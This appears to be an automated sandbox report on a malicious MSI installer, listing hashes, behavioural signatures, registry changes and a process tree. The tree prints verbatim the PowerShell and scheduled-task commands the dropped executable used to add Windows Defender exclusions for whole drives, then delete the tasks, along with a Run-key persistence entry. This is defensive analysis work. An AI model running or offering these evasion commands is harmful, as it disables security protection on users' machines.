Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/08/2026, 17:14
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_pr0j009.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
28 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_pr0j009.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_pr0j009.msi
- Size 7.6MB
- Sample260801-vshdtssarf
- SHA256 a527257f6db4082f03984f1fb51d5b6957a3c02d6292f9c0dbd1942250bcc6ae
- MD5 869a72c4ffcc6ac028b48e0009985207
- SHA1 5d3cefc230e0ba0b0307a9da1d39b0fb58d3ace2
- SHA512 805d4eb0876a6d61eac30564591cb27a2568a013f427d8206cab38d542a0a0d022efcca8e64ec188dcbc147a06bc3246b87e65033b3f658edc2e53b8b22a0f57
- SSDEEP 196608:gGHpjjfaZTAL2KZS+E55TMdc3GQayfRVuB9Nflv3tv7IDqlRUC:gcfv627y5QyuyRUB9xN3tv76C
- TLSH T1C486338AB8C67271D49BC3F1A246B69E3A667FDAFDB30C1776E935402D3362501B6304
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\izg5W2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4412 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2528 QzIalO.exe - Loads dropped DLL 2 IoCs
pid Process 1548 MsiExec.exe 2528 QzIalO.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\izg5W2\\QzIalO.exe\"" QzIalO.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 10 1548 MsiExec.exe 11 1548 MsiExec.exe 16 1548 MsiExec.exe 17 1548 MsiExec.exe 18 1548 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\K: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1520 cmd.exe 3484 cmd.exe 2536 cmd.exe 3244 cmd.exe 6072 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b QzIalO.exe - Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFCF01C0A7D9A00A67.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{D9042978-6444-D40B-2C07-4A301453BD6D} msiexec.exe File created C:\Windows\SystemTemp\~DF3D2DF8168215AFC4.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF611961A896027E37.TMP msiexec.exe File created C:\Windows\Installer\e59f8cd.msi msiexec.exe File opened for modification C:\Windows\Installer\e59f8cd.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIFEC9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFF85.tmp msiexec.exe File created C:\Windows\Installer\e59f8cf.msi msiexec.exe File created C:\Windows\SystemTemp\~DF684A464245957DB1.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4128 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4660 cmd.exe 3508 cmd.exe 5168 cmd.exe 5124 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\PackageCode = "7FEFF266E48623247BB2125352992880" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\PackageName = "install_pr0j009.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16\8792409D4446B04DC270A4034135DBD6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\ProductName = "CPUSD Licensing Dll" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3896 schtasks.exe 4108 schtasks.exe 2056 schtasks.exe 988 schtasks.exe 2552 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3588 msiexec.exe 3588 msiexec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe 2528 QzIalO.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4128 msiexec.exe Token: SeIncreaseQuotaPrivilege 4128 msiexec.exe Token: SeSecurityPrivilege 3588 msiexec.exe Token: SeCreateTokenPrivilege 4128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4128 msiexec.exe Token: SeLockMemoryPrivilege 4128 msiexec.exe Token: SeIncreaseQuotaPrivilege 4128 msiexec.exe Token: SeMachineAccountPrivilege 4128 msiexec.exe Token: SeTcbPrivilege 4128 msiexec.exe Token: SeSecurityPrivilege 4128 msiexec.exe Token: SeTakeOwnershipPrivilege 4128 msiexec.exe Token: SeLoadDriverPrivilege 4128 msiexec.exe Token: SeSystemProfilePrivilege 4128 msiexec.exe Token: SeSystemtimePrivilege 4128 msiexec.exe Token: SeProfSingleProcessPrivilege 4128 msiexec.exe Token: SeIncBasePriorityPrivilege 4128 msiexec.exe Token: SeCreatePagefilePrivilege 4128 msiexec.exe Token: SeCreatePermanentPrivilege 4128 msiexec.exe Token: SeBackupPrivilege 4128 msiexec.exe Token: SeRestorePrivilege 4128 msiexec.exe Token: SeShutdownPrivilege 4128 msiexec.exe Token: SeDebugPrivilege 4128 msiexec.exe Token: SeAuditPrivilege 4128 msiexec.exe Token: SeSystemEnvironmentPrivilege 4128 msiexec.exe Token: SeChangeNotifyPrivilege 4128 msiexec.exe Token: SeRemoteShutdownPrivilege 4128 msiexec.exe Token: SeUndockPrivilege 4128 msiexec.exe Token: SeSyncAgentPrivilege 4128 msiexec.exe Token: SeEnableDelegationPrivilege 4128 msiexec.exe Token: SeManageVolumePrivilege 4128 msiexec.exe Token: SeImpersonatePrivilege 4128 msiexec.exe Token: SeCreateGlobalPrivilege 4128 msiexec.exe Token: SeBackupPrivilege 680 vssvc.exe Token: SeRestorePrivilege 680 vssvc.exe Token: SeAuditPrivilege 680 vssvc.exe Token: SeBackupPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeBackupPrivilege 5372 srtasks.exe Token: SeRestorePrivilege 5372 srtasks.exe Token: SeSecurityPrivilege 5372 srtasks.exe Token: SeTakeOwnershipPrivilege 5372 srtasks.exe Token: SeBackupPrivilege 5372 srtasks.exe Token: SeRestorePrivilege 5372 srtasks.exe Token: SeSecurityPrivilege 5372 srtasks.exe Token: SeTakeOwnershipPrivilege 5372 srtasks.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe Token: SeTakeOwnershipPrivilege 3588 msiexec.exe Token: SeRestorePrivilege 3588 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4128 msiexec.exe 4128 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4128 msiexec.exe 3588 msiexec.exe 1548 MsiExec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 3588 wrote to memory of 5372 3588 msiexec.exe 94 PID 3588 wrote to memory of 1548 3588 msiexec.exe 96 PID 2528 wrote to memory of 4412 2528 QzIalO.exe 99 PID 2528 wrote to memory of 1520 2528 QzIalO.exe 102 PID 1520 wrote to memory of 3896 1520 cmd.exe 104 PID 2528 wrote to memory of 3484 2528 QzIalO.exe 106 PID 1520 wrote to memory of 4728 1520 cmd.exe 108 PID 3484 wrote to memory of 4108 3484 cmd.exe 109 PID 1520 wrote to memory of 5132 1520 cmd.exe 112 PID 3484 wrote to memory of 2636 3484 cmd.exe 113 PID 2528 wrote to memory of 2536 2528 QzIalO.exe 114 PID 3484 wrote to memory of 5616 3484 cmd.exe 116 PID 2536 wrote to memory of 2056 2536 cmd.exe 117 PID 2536 wrote to memory of 5308 2536 cmd.exe 118 PID 2536 wrote to memory of 4700 2536 cmd.exe 120 PID 2528 wrote to memory of 3244 2528 QzIalO.exe 122 PID 3244 wrote to memory of 988 3244 cmd.exe 124 PID 3244 wrote to memory of 5752 3244 cmd.exe 125 PID 3244 wrote to memory of 2848 3244 cmd.exe 128 PID 2528 wrote to memory of 6072 2528 QzIalO.exe 130 PID 6072 wrote to memory of 2552 6072 cmd.exe 132 PID 6072 wrote to memory of 2832 6072 cmd.exe 133 PID 6072 wrote to memory of 4724 6072 cmd.exe 135 PID 5124 wrote to memory of 5092 5124 cmd.exe 137 PID 4660 wrote to memory of 2004 4660 cmd.exe 139 PID 3508 wrote to memory of 4540 3508 cmd.exe 140 PID 5168 wrote to memory of 2260 5168 cmd.exe 141 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_pr0j009.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4128
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:5372
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1ACF69AFE0736D4DB969B84C45F890B5 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1548
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:680
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C:\Users\Public\izg5W2\QzIalO.exe"C:\Users\Public\izg5W2\QzIalO.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:4412
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\izg5W2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\izg5W2\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3896
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4728
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4108
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2636
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2056
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5308
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:988
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5752
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2848
